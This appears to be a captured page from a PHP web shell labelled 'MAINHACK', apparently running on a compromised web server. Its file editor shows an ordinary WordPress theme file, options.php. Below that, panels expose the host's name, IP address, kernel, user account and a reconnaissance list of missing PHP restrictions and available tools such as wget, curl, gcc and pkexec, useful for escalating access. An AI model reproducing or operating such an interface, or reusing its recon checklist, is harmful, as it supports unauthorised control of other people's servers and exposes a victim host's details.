[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: options.php
<?php /** * @Template: options.php * @since: 1.0.0 * @author: Case-Themes * @descriptions: * @create: 16-Nov-17 */ if (!defined('ABSPATH')) die(); /** * theme_core_ie_options_export * @descriptions: Export options data of WP Settings * @param: $file */ function ct_ie_options_export($file) { global $wp_filesystem; $upload_dir = wp_upload_dir(); $options = array(); /* default. */ $options['home'] = ct_ie_options_get_home_page(); $options['menus'] = ct_ie_options_get_menus(); $options['opt-name'] = ct_ie_setting_get_opt_name($file); $options['export'] = !empty($_POST['ct-ie-data-type']) ? $_POST['ct-ie-data-type'] : array(); /* wp options */ $options['wp-options'] =ct_ie_options_get_wp_options(apply_filters('ct_ie_options_wp_options', array())); /* attachment */ if (file_exists($upload_dir['basedir'] . '/ct-attachment-tmp.zip')) $options['attachment'] = $upload_dir['baseurl'] . '/ct-attachment-tmp.zip'; $wp_filesystem->put_contents($file, json_encode($options), FS_CHMOD_FILE); } function ct_ie_options_get_home_page() { $home_id = get_option('page_on_front'); if (!$home_id) return null; $page = new WP_Query(array('post_type' => 'page', 'posts_per_page' => 1, 'page_id' => $home_id)); if (!$page->post) return null; return $page->post->post_name; } function ct_ie_options_get_menus() { $theme_locations = get_nav_menu_locations(); if (empty($theme_locations)) return null; foreach ($theme_locations as $key => $id) { $menu_object = wp_get_nav_menu_object($id); $theme_locations[$key] = $menu_object->slug; } return $theme_locations; } function ct_ie_options_get_wp_options($options = array()) { if (empty($options)) return $options; $_options = array(); foreach ($options as $key) { $_options[$key] = get_option($key); } return $_options; } /** * Import wp options functions * @param $options */ function ct_ie_options_import($options) { global $import_result; foreach ($options as $key => $option) { switch ($key) { case 'home': ct_ie_options_set_home_page($option); $import_result[] = esc_html__('Set home page successfully!', 'ct-ie'); break; case 'menus': ct_ie_options_set_menus($option); $import_result[] = esc_html__('Import menus successfully!', CTI_TEXT_DOMAIN); break; case 'wp-options': ct_ie_options_set_wp_options($option); $import_result[] = esc_html__('Import wp options successfully!', CTI_TEXT_DOMAIN); break; } } } function ct_ie_options_set_home_page($slug) { $page = new WP_Query(array('post_type' => 'page', 'posts_per_page' => 1, 'name' => $slug)); if (!$page->post) return null; update_option('show_on_front', 'page'); update_option('page_on_front', $page->post->ID); } function ct_ie_options_set_menus($menus) { if (!empty($menus)) { $new_setting = array(); foreach ($menus as $key => $menu) { $_menu = get_term_by('slug', $menu, 'nav_menu'); if ($_menu !== false) { $new_setting[$key] = $_menu->term_id; } } set_theme_mod('nav_menu_locations', $new_setting); } } function ct_ie_options_set_wp_options($options = array()) { if (empty($options)) return; foreach ($options as $key => $value) { update_option($key, $value); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002